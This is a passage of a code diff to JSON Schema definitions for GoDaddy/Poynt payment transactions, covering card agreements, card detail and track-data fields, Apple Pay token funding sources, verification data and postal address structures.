"businessId": { + "description": "Business UUID that this card agreement belongs to.", + "type": "string" + }, + "cardId": { + "description": "Card UUID that this card agreement belongs to.", + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "declinedOn": { + "description": "Timestamp for when this agreement was declined.", + "format": "date-time", + "type": "string" + }, + "email": { + "description": "The customer email that we will send the agreement to.", + "type": "string" + }, + "id": { + "description": "UUID of the card agreement.", + "type": "string" + }, + "metadata": { + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", + "properties": { + "businessContact": { + "description": "Business contact or website.", + "maxLength": 1024, + "type": "string" + }, + "businessName": { + "description": "Business name.", + "maxLength": 128, + "type": "string" + }, + "businessPhone": { + "description": "Business phone.", + "maxLength": 16, + "type": "string" + }, + "countryCode": { + "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + }, + "lang": { + "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + } }, - "adapterId": { - "type": "string" + "type": "object" + }, + "status": { + "description": "[Required] The type of card agreement status.", + "enum": [ + "ACCEPTED", + "DELETED", + "INACTIVE" + ], + "type": "string" + }, + "txnId": { + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + }, + "version": { + "description": "The version of agreement.", + "type": "integer" + } + }, + "type": "object" + }, + "LegacyCardAgreementMetadata": { + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", + "properties": { + "businessContact": { + "description": "Business contact or website.", + "maxLength": 1024, + "type": "string" + }, + "businessName": { + "description": "Business name.", + "maxLength": 128, + "type": "string" + }, + "businessPhone": { + "description": "Business phone.", + "maxLength": 16, + "type": "string" + }, + "countryCode": { + "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + }, + "lang": { + "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardBrand": { + "description": "This object represents CardBrand.", + "properties": { + "brand": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "displayName": { + "maxLength": 50, + "minLength": 3, + "type": "string" + }, + "id": { + "type": "string" + }, + "issuerBank": { + "maxLength": 150, + "type": "string" + }, + "logoUrl": { + "type": "string" + }, + "scheme": { + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardKey": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" + }, + "LegacyCardKeyData": { + "properties": { + "id": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" + }, + "version": { + "description": "Version of the key.", + "maxLength": 4, + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardType": { + "enum": [ + "AMERICAN_EXPRESS", + "EBT", + "BANCOMAT", + "DISCOVER", + "MAESTRO", + "GOPAY", + "DINERS_CLUB", + "JCB", + "ALIPAY", + "MASTERCARD", + "DANKORT", + "OTHER", + "PAYPAL", + "INTERAC", + "UNIONPAY", + "VISA", + "BANKAXEPT" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Object to carry credit/debit card information.", + "properties": { + "cardAgreement": { + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", + "properties": { + "agreedOn": { + "description": "Timestamp for when this agreement was agreed.", + "format": "date-time", + "type": "string" + }, + "businessId": { + "description": "Business UUID that this card agreement belongs to.", + "type": "string" + }, + "cardId": { + "description": "Card UUID that this card agreement belongs to.", + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "declinedOn": { + "description": "Timestamp for when this agreement was declined.", + "format": "date-time", + "type": "string" + }, + "email": { + "description": "The customer email that we will send the agreement to.", + "type": "string" + }, + "id": { + "description": "UUID of the card agreement.", + "type": "string" + }, + "metadata": { + "$ref": "#/$defs/LegacyCardAgreementMetadata", + "description": "Card agreement metadata. Will hold the agreement template properties." + }, + "status": { + "description": "[Required] The type of card agreement status.", + "enum": [ + "ACCEPTED", + "DELETED", + "INACTIVE" + ], + "type": "string" + }, + "txnId": { + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + }, + "version": { + "description": "The version of agreement.", + "type": "integer" + } + }, + "type": "object" + }, + "cardBrand": { + "description": "This object represents CardBrand.", + "properties": { + "brand": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "displayName": { + "maxLength": 50, + "minLength": 3, + "type": "string" + }, + "id": { + "type": "string" + }, + "issuerBank": { + "maxLength": 150, + "type": "string" + }, + "logoUrl": { + "type": "string" + }, + "scheme": { + "type": "string" + } + }, + "type": "object" + }, + "cardHolderFullName": { + "description": "Card holder's full name usually picked from track1.", + "maxLength": 256, + "type": "string" + }, + "cardId": { + "description": "The uuid of the card created", + "type": "string" + }, + "encrypted": { + "description": "True if track, PAN, expiration are encrypted.", + "type": "boolean" + }, + "encryptedExpirationDate": { + "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here.", + "type": "string" + }, + "expirationDate": { + "description": "The date from expiration. Date is typically only present in EMV cards.", + "type": "integer" + }, + "id": { + "description": "The id of the card created.", + "type": "integer" + }, + "issuer": { + "type": "string" + }, + "key": { + "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", + "items": { + "properties": { + "id": { + "$ref": "#/$defs/LegacyCardKey", + "description": "The key identifier." }, - "adapterVariant": { + "version": { + "description": "Version of the key.", + "maxLength": 4, "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + } + }, + "type": "object" + }, + "type": "array" + }, + "numberFirst6": { + "description": "This is a response field. The first6 numbers of the PAN.", + "type": "string" + }, + "numberHashed": { + "type": "string" + }, + "numberLast4": { + "description": "This is a response field. The last4 numbers of the PAN.", + "type": "string" + }, + "status": { + "description": "Status of the card.", + "enum": [ + "ACTIVE", + "REMOVED" + ], + "type": "string" + }, + "type": { + "enum": [ + "AMERICAN_EXPRESS", + "EBT", + "BANCOMAT", + "DISCOVER", + "MAESTRO", + "GOPAY", + "DINERS_CLUB", + "JCB", + "ALIPAY", + "MASTERCARD", + "DANKORT", + "OTHER", + "PAYPAL", + "INTERAC", + "UNIONPAY", + "VISA", + "BANKAXEPT" + ], + "type": "string" + } + }, + "type": "object" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "numberHashed": { + "description": "Card number hashed", + "readOnly": true, + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "PAZE", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1data": { + "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name).", + "type": "string", + "writeOnly": true + }, + "track2data": { + "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc.", + "type": "string", + "writeOnly": true + }, + "track3data": { + "description": "Track3 for future use. Carries track from custom funding sources.", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER", + "INTERAC", + "BANCOMAT", + "MAESTRO", + "DINERS_CLUB", + "JCB", + "UNIONPAY", + "BANKAXEPT", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + }, + "x-sensitivity": { + "classification": "restricted" + } + } + }, + "title": "GoDaddy Payment Token", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/applepay-token.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-token.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Token Funding source", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the card used as funding source", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." + "type": "object", + "writeOnly": true + } + }, + "title": "Card Verification Data", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the token used as funding source", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + } + }, + "title": "Token Verification Data", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type representing the type of verification data", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "Verification Data", + "type": "object" + } + }, + "title": "Payment Token Funding Source", + "type": "object" + } + ], + "description": "ApplePay Funding source", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Details of the card used for processing transaction", + "properties": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Details on how the card is used during transaction", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Interac Mac details of the Payment card", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "legacyData": { + "$defs": { + "LegacyCardAgreement": { + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", + "properties": { + "agreedOn": { + "description": "Timestamp for when this agreement was agreed.", + "format": "date-time", + "type": "string" + }, + "businessId": { + "description": "Business UUID that this card agreement belongs to.", + "type": "string" + }, + "cardId": { + "description": "Card UUID that this card agreement belongs to.", + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "declinedOn": { + "description": "Timestamp for when this agreement was declined.", + "format": "date-time", + "type": "string" + }, + "email": { + "description": "The customer email that we will send the agreement to.", + "type": "string" + }, + "id": { + "description": "UUID of the card agreement.", + "type": "string" + }, + "metadata": { + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", + "properties": { + "businessContact": { + "description": "Business contact or website.", + "maxLength": 1024, + "type": "string" + }, + "businessName": { + "description": "Business name.", + "maxLength": 128, + "type": "string" + }, + "businessPhone": { + "description": "Business phone.", + "maxLength": 16, + "type": "string" + }, + "countryCode": { + "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + }, + "lang": { + "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" } }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] + "type": "object" + }, + "status": { + "description": "[Required] The type of card agreement status.", + "enum": [ + "ACCEPTED", + "DELETED", + "INACTIVE" + ], + "type": "string" + }, + "txnId": { + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + }, + "version": { + "description": "The version of agreement.", + "type": "integer" + } + }, + "type": "object" + }, + "LegacyCardAgreementMetadata": { + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", + "properties": { + "businessContact": { + "description": "Business contact or website.", + "maxLength": 1024, + "type": "string" + }, + "businessName": { + "description": "Business name.", + "maxLength": 128, + "type": "string" + }, + "businessPhone": { + "description": "Business phone.", + "maxLength": 16, + "type": "string" + }, + "countryCode": { + "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + }, + "lang": { + "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardBrand": { + "description": "This object represents CardBrand.", + "properties": { + "brand": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "displayName": { + "maxLength": 50, + "minLength": 3, + "type": "string" + }, + "id": { + "type": "string" + }, + "issuerBank": { + "maxLength": 150, + "type": "string" + }, + "logoUrl": { + "type": "string" + }, + "scheme": { + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardKey": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" + }, + "LegacyCardKeyData": { + "properties": { + "id": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" + }, + "version": { + "description": "Version of the key.", + "maxLength": 4, + "type": 